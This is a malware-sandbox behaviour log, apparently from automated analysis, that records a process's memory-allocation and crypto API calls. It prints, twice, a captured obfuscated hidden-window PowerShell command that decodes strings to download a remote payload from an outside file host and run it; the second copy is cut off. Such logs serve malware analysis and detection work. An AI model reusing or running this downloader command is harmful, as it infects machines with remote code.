crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305728
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305728
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305728
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 1769472
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02700000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02870000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2164
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd1000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025da000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2164
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025d2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025e2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02871000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02872000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0260a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025e3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025e4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0261b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02617000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025db000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02602000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02615000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0260c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02850000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025e6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0261c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02603000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02604000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02605000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02606000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02607000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02608000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02609000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b11000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b12000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b13000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b14000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b15000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b16000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b17000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b18000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b19000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b1a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b1b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b1c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b1d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b1e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b1f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ee0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ee1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ee2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ee3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2164
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ee4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell.exe -windowstyle hidden ";$Brugerantallene='Europiseringers';;$Cheatery='Kammes';;$Uspecificeret='Fillment';;$Mandetimen='Overponderousness';;$Bvss='Stableren';;$Carval=$host.Name;function reregulation($Desertful){If ($Carval) {$Candlewicks=4} for ($zoarite=$Candlewicks;;$zoarite+=5){if(!$Desertful[$zoarite]) { break }$Krsels+=$Desertful[$zoarite]}$Krsels}function Skibslistes($Frtidig){ .($Corporation) ($Frtidig)}$Unrepugnantly=reregulation 'BaccNTwige nhTMarm.OpfyW Kl ERentBSchoCGteslunivIFolkE .efn,oilt';$Afstedkommet=reregulation 'MagnM ,ucoPreezRamiiAntilReinl Kbsa Phi/';$Vitamin=reregulation 'P unTCorpl ugds ord1Skud2';$Pickaxing='uni,[Clern BrnE Neut .id.TautSCo.pEVandrOv rvFamiiLa,eC U ie iabPS,alo haniChymnN tiTP,mpmLug,ALnesNA,ota EksgJuleE FjeRPa r]natt:Supe:My.tSHaane F.dC etaUChanr lagIPterTTraeYH lsPMonor D.go.hrytpreroIcodcForeOTheoLIndt=Mixe$findvJoriI agatRet A P yMSpariPulpN';$Afstedkommet+=reregulation 'Opva5 Bit.Vare0Mari coll(CataWaarsiQuinn.npud Sp oSterw tussFork a.eNChorTI ra Caf1L ch0G.ni. O,t0hapl;Gray helsWSpydi AsynSlot6Akti4Scot;Ar h TraaxCa n6 Te,4 Dec;klig RetirAvenvOpsi:Incu1 Raa3Arom1Frst.Sy o0De o) For Uv jG U meKnugcFinkks.ldoUnga/D.sv2 Aff0Argu1Bot 0 Akt0 onv1coun0com,1Lang BuveFM,cri SnfrHejde .erfWh mo ,fhx Mid/ Jul1Olig3Kva,1B ds.Civi0';$Anatomers=reregulation 'NvesURengS RaaEK perP os-DiazA.ortgDykke modn uclt';$tribunitiary=reregulation ' uldh PoutTapitTimupSinos.ame:sati/Ba,a/ kalfPasei Spalf.sceSentdBlennTo.o.Fe teCosiu En / Slalm no9B ektMiljESabawAwatbKart9Dvrgs Uni6O era Diga bonR SnawSyn 5FriffPartyYogiU Illi taaSikkCSpyt0Overl PrefPlas/ antfMammoEgnsrSig.s nsntWesta argaPriveB yal RipiHeargBannhS ndeOut d.almeTromrAksos.isi. .msp SilsMetem';$Deled=reregulation 'Etag>';$Corporation=reregulation 'SewaiM,noe ParX';$Defilerede240='Udpresningen134';$Cranic='\Synanon.Non';Skibslistes (reregulation 'Inte$UndeG Argl te.oTyvabafryA PlaLC ph:FlexI Rh c Allh ardTPr.sH MogyAftrO oreCUdtvOFor,pHingrk loooseslAm,sI,rkyTEkspE Br =Ekla$Kat eVejaN AdmV orm:UlrdaResiPI luPUnrud ForANonsTSor.ASval+Dags$BuleCVas R Para.anrN M liFrasC');Skibslistes (reregulation 'Pe,a$InstGPl,tLL,aiOBrembpaapa.chiL Ba.: UnddRe.eE ertpS.rtRKoffIBr.nv CyrAVan tfairi odoTrolNvelsSU detA veiStryLT lfS BruTAssiaSo.sNTagkD ntreManu=T va$figutHal,RVeheIStudbRinguAltenToupiSpegtS.ati V,naOrphRUregYMaid.NiveS uftpFe ll AfbiPyretValg(Misc$I trd urieFittLDomsEUdp Dtrea)');Skibslistes (reregulation $Pickaxing);$tribunitiary=$Deprivationstilstande[0];$Koeen=(reregulation ' F n$StyrgStivLModfOf.stB nexaTrusLTi s:BankSMonotHyl,o elrDom,tBehaiImponKrongMis.sAn.oMThomERatiDDaadLSklrEdiscmSprimD mm=Sp rN ingEWe kwTrvf-OutloBed BLithJ aleER dbcBramTDde ForfSAareY DorS,eacT spaESvanMScur.micr$PresuDisqnReasR DelECaseP oasUpr sgSagsNReseAEar,nVejet S dlboary');Skibslistes ($Koeen);Skibslistes (reregulation ' Fed$S.ulSBytntIntroW ntr Ha tNighiStornOve,g ,nksS,elmMotoeMar dOppelTrimeYdermF atmFla .Aph HPusteInd,aKvabdState enlr AutsCopo[ Aft$AsboARaggnreinaTr,atUdmaoD pomTofaeKontr.utesGaff]Nomi=Ka e$FastACen,fScrusPeltt SleeexpldA.fakSmeroMe,em P,sm ManeLoyrt');$microbic=reregulation 'C al$ArraSCoeltT eaoUltrrGenntKa diBrusnFremg eos T amStrieAlkad LimlFlaaeVildmBa emGan . MaiDBrygoOestwOmstnAntilKro.oOveraAksldKiwiF DeriForelCongeMade(Rewi$ nvetFor rSubniWindbHornu Fisn rm.i iget In ip,raaPictrSkrby Man,Tria$li,jB.rrer N tiNa eeRygevSuffeVarn)';$Brieve=$ichthyocoprolite;Skibslistes (reregulation 'Tris$Umbrg PallOmdioEmbabDrivaHandlOp.a:RelapBarirFi gC ProiNonssU skIEyewoStudnStrueT maN fte=For,(EffeT edkE S oSEvenTtran-ValrPHomoaKollt orrHUren ndv$CoshBR inr atti RateGennvPa heS.rm)');while (!$Prcisionen) {Skibslistes (reregulation ' En $ PhagBevilEsopoTentb PolatranlG.om:udstR FireAntaaGly rEnspsLec =Spon$AkteCThe,i Sigr Mi cGr.cuSpismL nnpGavslUndeeLydecS,odt') ;Skibslistes $microbic;Skibslistes (reregulation 'HypeSK.ziT solA KerRmanstPlet-Vishs Lanldelse estEDusip aks deo4');Skibslistes (reregulation 'Fund$Te.kgSupplSnagONou,BDiskascanLJu,e:TalcpB dnRD bicDebaIB,dfsDuteiMarko TheN.paaEnonfN .or= ac(safttSequEPreeSCry.T Ega-KemiP.nshaCanttSkulhVk,t Sneb$ FilBHyetRNbidil xee,uttV R mE,pir)') ;Skibslistes (reregulation 'Dist$ N nGDryflSm.lO risb SovA ChalB gp:PittMH orAChlon Po,DFiskAAulet Undoops rDealiKaldnMalaE indSVerts Met=Ngle$ MavGRgtel TowoPrkeBDrneA antLSvum:FragtLe,krUnenATvekN oars CanL b roKn.pkIhndaM lotdyreIEns O PolnwhipeBionNTil 2,arm4 chi6 ymn+Udre+Muff% erv$,kend AgoES.ilpAgenRakadiPoacvRammAJeamT ediIJaghOMe aNB oks C ntTaraIRi eL lumSNd aT.irsA Skrn DevdsvaeeNedf.ParcCLuxuOBehouGstgn.remT') ;$tribunitiary=$Deprivationstilstande[$Mandatoriness]}$Biens=316499;$Legendarisk=29869;Skibslistes (reregulation 'An r$BanggHydrLRe vo skabBrugAHandlTent:RecubSopheNatuNPardZIncaa MisnSalaT,ribhLa.gr ruta Pe c iste MejnC.rrEDa,a Sp,n=V tr BringA die GasTMark-F.laC TrioDeponKgmttGrubeFilantillTPer Nedk$Fu.kb di,rPapmIModeeSpaaVDr fE');Skibslistes (reregulation 'Udr.$ Talg Sk lOut oPledbSkr.aOliglTrls:ToplS B,nh MoneE,grredoml.ndeoKinec alpkCooe Time=Udfr Sauc[ BorSDkniyBehosHalvt ScaeSca.mSniv.,eckCBsseoFastn neovTilseSclerTegntSkva]Down:Brom:PukkF Ster nicoSyl mRef.B SkoaPronsSeiseLoeb6He,e4,kolSDefltAfs,rStati erntracg kor(Reth$B blBTowlePrefnDleszCheiaCanan Vilt PsyhdelirVolua L,pc.idseGarnnEndeeS,rp)');Skibslistes (reregulation 'Haev$Con,GG lll tenODrukB impAAdg.L Kok:,lumuNeu nTreadKa se HemrUnhoCPhi,O .dkMD.camBeduaPushn Ra D CouE tneRLder Frst=tuto ,rac[CropsDhurYOutws Neut AppeAmfimJoyo.RibaTKol EtrafXSlaaTClei.triseCutiNBlodC Br o Plud BarI aryNS rfGEntr] Und:Diff: andA NyiSCauscDialITi,kIbism.DresgMiniE AnfTM jes T lT SviR SpnIAnk,NRepuG Cau(sste$Draas Oprh anie repRSin.lModeoMoticKontk Dam)');Skibslistes (reregulation 'Gimb$ uckgLangLOrigoSengBOccuAmeril Amb: C iR BanIMarid igeEPan s LidTHysti.masE PrsnFritsSang=S ed$Sensu G lnBootDHjhleMazdR.escCWaneo hypMDrtrmSnapaVandNConddFlexE onjr.and.JuneS annUwandbugarSI tetBenerArbeIUpheN gnig,rbe(Unce$Foldb OstIKldeEPrean DesS Vir,Vamp$Mistle one RegGDistE astNNewzDlithAReliRUnthi S dSSeedKBjar)');Skibslistes $Ridestiens;"
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2168
thread_handle: 0x00000088
process_identifier: 2164
current_directory:
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: powershell.exe -windowstyle hidden ";$Brugerantallene='Europiseringers';;$Cheatery='Kammes';;$Uspecificeret='Fillment';;$Mandetimen='Overponderousness';;$Bvss='Stableren';;$Carval=$host.Name;function reregulation($Desertful){If ($Carval) {$Candlewicks=4} for ($zoarite=$Candlewicks;;$zoarite+=5){if(!$Desertful[$zoarite]) { break }$Krsels+=$Desertful[$zoarite]}$Krsels}function Skibslistes($Frtidig){ .($Corporation) ($Frtidig)}$Unrepugnantly=reregulation 'BaccNTwige nhTMarm.OpfyW Kl ERentBSchoCGteslunivIFolkE .efn,oilt';$Afstedkommet=reregulation 'MagnM ,ucoPreezRamiiAntilReinl Kbsa Phi/';$Vitamin=reregulation 'P unTCorpl ugds ord1Skud2';$Pickaxing='uni,[Clern BrnE Neut .id.TautSCo.pEVandrOv rvFamiiLa,eC U ie iabPS,alo haniChymnN tiTP,mpmLug,ALnesNA,ota EksgJuleE FjeRPa r]natt:Supe:My.tSHaane F.dC etaUChanr lagIPterTTraeYH lsPMonor D.go.hrytpreroIcodcForeOTheoLIndt=Mixe$findvJoriI agatRet A P yMSpariPulpN';$Afstedkommet+=reregulation 'Opva5 Bit.Vare0Mari coll(CataWaarsiQuinn.npud Sp oSterw tussFork a.eNChorTI ra Caf1L ch0G.ni. O,t0hapl;Gray helsWSpydi AsynSlot6Akti4Scot;Ar h TraaxCa n6 Te,4 Dec;klig RetirAvenvOpsi:Incu1 Raa3Arom1Frst.Sy o0De o) For Uv jG U meKnugcFinkks.ldoUnga/D.sv2 Aff0Argu1Bot 0 Akt0 onv1coun0com,1Lang BuveFM,cri SnfrHejde .erfWh mo ,fhx Mid/ Jul1Olig3Kva,1B ds.Civi0';$Anatomers=reregulation 'NvesURengS RaaEK perP os-DiazA.ortgDykke modn uclt';$tribunitiary=reregulation ' uldh PoutTapitTimupSinos.ame:sati/Ba,a/ kalfPasei Spalf.sceSentdBlennTo.o.Fe teCosiu En / Slalm no9B ektMiljESabawAwatbKart9Dvrgs Uni6O era Diga bonR SnawSyn 5FriffPartyYogiU Illi taaSikkCSpyt0Overl PrefPlas/ antfMammoEgnsrSig.s nsntWesta argaPriveB yal RipiHeargBannhS ndeOut d.almeTromrAksos.isi. .msp SilsMetem';$Deled=reregulation 'Etag>';$Corporation=reregulation 'SewaiM,noe ParX';$Defilerede240='Udpresningen134';$Cranic='\Synanon.Non';Skibslistes (reregulation 'Inte$UndeG Argl te.oTyvabafryA PlaLC ph:FlexI Rh c Allh ardTPr.sH MogyAftrO oreCUdtvOFor,pHingrk loooseslAm,sI,rkyTEkspE Br =Ekla$Kat eVejaN AdmV orm:UlrdaResiPI luPUnrud ForANonsTSor.ASval+Dags$BuleCVas R Para.anrN M liFrasC');Skibslistes (reregulation 'Pe,a$InstGPl,tLL,aiOBrembpaapa.chiL Ba.: UnddRe.eE ertpS.rtRKoffIBr.nv CyrAVan tfairi odoTrolNvelsSU detA veiStryLT lfS BruTAssiaSo.sNTagkD ntreManu=T va$figutHal,RVeheIStudbRinguAltenToupiSpegtS.ati V,naOrphRUregYMaid.NiveS uftpFe ll AfbiPyretValg(Misc$I trd urieFittLDomsEUdp Dtrea)');Skibslistes (reregulation $Pickaxing);$tribunitiary=$Deprivationstilstande[0];$Koeen=(reregulation ' F n$StyrgStivLModfOf.stB nexaTrusLTi s:BankSMonotHyl,o elrDom,tBehaiImponKrongMis.sAn.oMThomERatiDDaadLSklrEdiscmSprimD mm=Sp rN ingEWe kwTrvf-OutloBed BLithJ aleER dbcBramTDde ForfSAareY DorS,eacT spaESvanMScur.micr$PresuDisqnReasR DelECaseP oasUpr sgSagsNReseAEar,nVejet S dlboary');Skibslistes ($Koeen);Skibslistes (reregulation ' Fed$S.ulSBytntIntroW ntr Ha tNighiStornOve,g ,nksS,elmMotoeMar dOppelTrimeYdermF atmFla .Aph HPusteInd,aKvabdState enlr AutsCopo[ Aft$AsboARaggnreinaTr,atUdmaoD pomTofaeKontr.utesGaff]Nomi=Ka e$FastACen,fScrusPeltt SleeexpldA.fakSmeroMe,em P,sm ManeLoyrt');$microbic=reregulation 'C al$ArraSCoeltT eaoUltrrGenntKa diBrusnFremg eos T amStrieAlkad LimlFlaaeVildmBa emGan . MaiDBrygoOestwOmstnAntilKro.oOveraAksldKiwiF DeriForelCongeMade(Rewi$ nvetFor rSubniWindbHornu Fisn rm.i iget In ip,raaPictrSkrby Man,Tria$li,jB.rrer N tiNa eeRygevSuffeVarn)';$Brieve=$ichthyocoprolite;Skibslistes (reregulation 'Tris$Umbrg PallOmdioEmbabDrivaHandlOp.a:RelapBarirFi gC ProiNonssU skIEyewoStudnStrueT maN fte=For,(EffeT edkE S oSEvenTtran-ValrPHomoaKollt orrHUren ndv$CoshBR inr atti RateGennvPa heS.rm)');while (!$Prcisionen) {Skibslistes (reregulation ' En $ PhagBevilEsopoTentb PolatranlG.om:udstR FireAntaaGly rEnspsLec =Spon$AkteCThe,i Sigr Mi cGr.cuSpismL nnpGavslUndeeLydecS,odt') ;Skibslistes $microbic;Skibslistes (reregulation 'HypeSK.ziT solA KerRmanstPlet-Vishs Lanldelse estEDusip aks deo4');Skibslistes (reregulation 'Fund$Te.kgSupplSnagONou,BDiskascanLJu,e:TalcpB dnRD bicDebaIB,dfsDuteiMarko TheN.paaEnonfN .or= ac(safttSequEPreeSCry.T Ega-KemiP.nshaCanttSkulhVk,t Sneb$ FilBHyetRNbidil xee,uttV R mE,pir)') ;Skibslistes (reregulation 'Dist$ N nGDryflSm.lO risb SovA ChalB gp:PittMH orAChlon Po,DFiskAAulet Undoops rDealiKaldnMalaE indSVerts Met=Ngle$ MavGRgtel TowoPrkeBDrneA antLSvum:FragtLe,krUnenATvekN oars CanL b roKn.pkIhndaM lotdyreIEns O PolnwhipeBionNTil 2,arm4 chi6 ymn+Udre+Muff% erv$,kend AgoES.ilpAgenRakadiPoacvRammAJeamT ediIJaghOMe aNB oks C ntTaraIRi eL lumSNd aT.irsA Skrn DevdsvaeeNedf.ParcCLuxuOBehouGstgn.remT') 